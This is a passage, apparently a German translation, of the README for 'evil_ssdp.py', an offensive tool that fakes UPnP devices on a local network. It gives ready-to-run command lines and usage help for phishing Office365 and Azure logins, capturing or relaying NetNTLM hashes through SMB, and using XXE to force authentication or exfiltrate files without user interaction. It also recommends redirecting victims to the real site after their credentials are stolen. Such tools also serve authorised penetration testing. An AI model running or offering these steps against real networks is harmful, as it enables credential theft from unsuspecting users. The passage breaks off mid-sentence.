
Fälschen von SSDP-Antworten und Erstellen gefälschter UPnP-Geräte, um nach Anmeldeinformationen zu phishen und NetNTLM-Challenge/Response zu nutzen.
Dieses Tool reagiert auf SSDP-Multicast-Discovery-Anfragen und gibt sich als generisches UPNP-Gerät aus. Ihr gefälschtes Gerät erscheint wie durch Zauberei im Windows-Explorer auf Rechnern in Ihrem lokalen Netzwerk. Benutzer, die versucht sind, das Gerät zu öffnen, sehen eine konfigurierbare Phishing-Seite. Diese Seite kann ein verstecktes Bild über SMB laden, sodass Sie die NetNTLM-Challenge/Response erfassen oder weiterleiten können.
Es werden auch Vorlagen bereitgestellt, um Klartext-Anmeldeinformationen über die Basisauthentifizierung und Anmeldeformulare zu erfassen, und das Erstellen eigener benutzerdefinierter Vorlagen ist schnell und einfach.
Es sind keine vorhandenen Anmeldeinformationen zur Ausführung erforderlich, und es funktioniert sogar in Netzwerken, die durch Deaktivieren von NETBIOS und LLMNR vor Responder-Angriffen geschützt sind. Jedes Betriebssystem oder jede Anwendung, die SSDP/UPNP nutzt, kann angegriffen werden, aber die derzeitige Nutzung zielt hauptsächlich auf Windows 10 ab.
Als Bonus kann dieses Tool auch potenzielle Zero-Day-Schwachstellen in den XML-Parsing-Engines von Anwendungen erkennen und ausnutzen, die SSDP/UPNP verwenden. Wenn ein anfälliges Gerät gefunden wird, werden Sie in der Benutzeroberfläche alarmiert, und dann wird Ihre SMB-Freigabe bereitgestellt oder Daten werden OHNE BENUTZERINTERAKTION über einen XML-External-Entity-(XXE)-Angriff exfiltriert.
Der einfachste Durchlauf sieht so aus:
evil_ssdp.py eth0
Sie müssen mindestens die Netzwerkschnittstelle angeben. Die Schnittstelle wird sowohl für die UDP-SSDP-Interaktion als auch zum Hosten eines Webservers für die XML-Dateien und die Phishing-Seite verwendet.
Das Tool aktualisiert automatisch ein IMG-Tag in der Phishing-Seite mit der IP der von Ihnen angegebenen Schnittstelle. Für die Challenge/Response müssen Sie einen SMB-Server auf dieser Schnittstelle starten (wie Impacket). Diese Adresse kann mit der Option -s angepasst werden.
Einige Beispielszenarien:
# Verwenden Sie wlan0 für Geräteankündigung und Phishing, erfassen Sie NetNTLM und
# fragen Sie nach Klartext über ein gefälschtes Office365-Anmeldeformular. Nach
# dem Erfassen der Anmeldeinformationen zu Microsoft umleiten:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# Wie oben, aber unter der Annahme, dass Ihr SMB-Server auf einer anderen IP läuft:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# Zur Eingabe von Anmeldeinformationen mit Basisauthentifizierung auffordern und zu Azure umleiten:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# Auf eine XXE-Schwachstelle hoffen, um NetNTLM zu erfassen, während Impacket/Responder auf wlan0 läuft:
evil_ssdp.py wlan0 -t xxe-smb
Vollständige Verwendungsdetails:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface Network interface to listen on.
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Port for HTTP server. Defaults to 8888.
-t TEMPLATE, --template TEMPLATE
Name of a folder in the templates directory. Defaults
to "office365". This will determine xml and phishing
pages used.
-s SMB, --smb SMB IP address of your SMB server. Defalts to the primary
address of the "interface" provided.
-b, --basic Enable base64 authentication for templates and write
credentials to log file.
-r REALM, --realm REALM
Realm when prompting target for authentication via
Basic Auth.
-u URL, --url URL Redirect to this URL. Works with templates that do a
POST for logon forms and with templates that include
the custom redirect JavaScript (see README for more
info).[example: -r https://google.com]
-a, --analyze Run in analyze mode. Will NOT respond to any SSDP
queries, but will still enable and run the web server
for testing.
Die folgenden Vorlagen sind im Tool enthalten. Wenn Sie gute Designfähigkeiten haben, tragen Sie bitte eine eigene bei!
office365: Wird im Windows-Explorer als "Office365 Backups" angezeigt. Die Phishing-Seite sieht aus wie die Office365-Anmeldeseite und sendet die Anmeldeinformationen per POST an Sie zurück. Diese werden in der Benutzeroberfläche markiert und in der Logdatei protokolliert. Empfohlen wird die Ausführung mit '-u https://www.office.com', um Benutzer nach dem Diebstahl ihrer Anmeldeinformationen auf die legitime Site umzuleiten. Entwickler: pentestgeek.scanner: Wird im Windows-Explorer als Scanner mit dem Namen "Corporate Scanner [3 NEUE SCANS WARTEN]" angezeigt. Ein Doppelklick führt zu einer generisch aussehenden Anmeldeseite. Diese Vorlage würde sich gut für die Anpassung an Ihr spezifisches Ziel eignen. Vorlage größtenteils kopiert von dieser Vorlage.microsft-azure: Wird im Windows-Explorer als "Microsoft Azure Storage" angezeigt. Die Landeseite ist die Windows Live-Anmeldeseite, wenn Cookies deaktiviert sind. Empfohlen wird die Verwendung mit der Option -u, um Benutzer auf die echte Anmeldeseite umzuleiten. Entwickler: Dwight Hohnstein.bitcoin: Wird im Windows-Explorer als "Bitcoin Wallet" angezeigt. Die Phishing-Seite enthält lediglich einen zufälligen Satz von Bitcoin-Privat/Public/Adress-Informationen. Es befinden sich keine tatsächlichen Guthaben in diesen Konten.password-vault: Wird im Windows-Explorer als "IT Password Vault" angezeigt. Die Phishing-Seite enthält eine kurze Liste falscher Passwörter / SSH-Schlüssel usw.xxe-smb: Wird wahrscheinlich nicht im Windows-Explorer angezeigt. Wird verwendet, um Zero-Day-Schwachstellen in XML-Parsern zu finden. Löst bei Treffern eine "XXE - VULN"-Warnung in der Benutzeroberfläche aus und versucht, Clients mit 0 Interaktion zur Authentifizierung beim SMB-Server zu zwingen.xxe-exfil: Ein weiteres Beispiel für die Suche nach XXE-Schwachstellen, diesmal jedoch versucht, eine Testdatei von einem Windows-Host zu exfiltrieren. Natürlich können Sie dies anpassen, um nach der gewünschten Datei zu suchen, egal ob Windows oder Linux. Bei den anfälligen Anwendungen, die ich entdeckt habe, funktioniert die Exfiltration nur bei einer Datei ohne Leerzeichen oder Zeilenumbrüche. Dies liegt daran, wie sie in die URL einer GET-Anfrage eingefügt wird. Wenn Sie dies bei mehrzeiligen Dateien zum Laufen bringen, lassen Sie mich BITTE wissen, wie Sie es gemacht haben.Das Erstellen eigener Vorlagen ist einfach. Kopieren Sie einfach den Ordner einer vorhandenen Vorlage und bearbeiten Sie die folgenden Dateien:
device.xml: Hier definieren Sie, wie das Gerät im Windows-Explorer aussieht.present.html: Dies ist die Phishing-Seite, die angezeigt wird, wenn ein Ziel das bösartige Gerät öffnet. Gestalten Sie hier alles, was Sie möchten. Beachten Sie, dass Pythons String-Vorlage dies parst, sodass Sie $$ anstelle von $ verwenden müssen, um der Vorlagenengine zu entkommen.service.xml: Noch nicht implementiert. Wird möglicherweise für komplexeres UPNP-Spoofing in Zukunft benötigt.Verwenden Sie in Ihrer Phishing-Seite (present.html) Variablen wie die folgenden für zusätzliche Funktionalität: